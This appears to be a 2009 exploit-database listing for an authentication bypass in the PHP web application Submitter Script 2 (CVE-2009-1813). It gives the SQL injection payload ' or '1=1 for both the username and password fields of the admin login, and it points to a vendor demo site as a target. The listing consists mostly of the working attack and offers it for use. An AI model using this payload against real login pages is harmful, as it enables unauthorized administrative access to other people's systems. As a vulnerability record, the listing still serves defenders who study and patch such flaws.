Submitter Script - Authentication Bypass

Author: ThE g0bL!N
type: webapps
platform: php
port: 
date_added: 2009-05-13 
date_updated:  
verified: 1 
codes: OSVDB-54475;CVE-2009-1813 
tags: 
aliases:  
screenshot_url:  
application_url:

---------------------------------------------------------------
------------------------------------------------------------
Submitter Script 2(Auth Bypass) SQL Injection Vulnerability
---------------------------------------------------------------
Founder : ThE g0bL!N
Vendor:http://submitterscript.com/
More info:http://submitterscript.com/products.php
---------------------------------------------------------------
---------------------------------------------------------------
Auth Bypass
------------
http://victim/[path]/admin/
username:' or '1=1
Password:' or '1=1
--------------------------------------
Dem0
----
http://demo.submitterscript.com/admin/
--------------------------------------
Greeting To ALL My Friends (Dz)
----------------------------------------------------------------

# milw0rm.com [2009-05-14]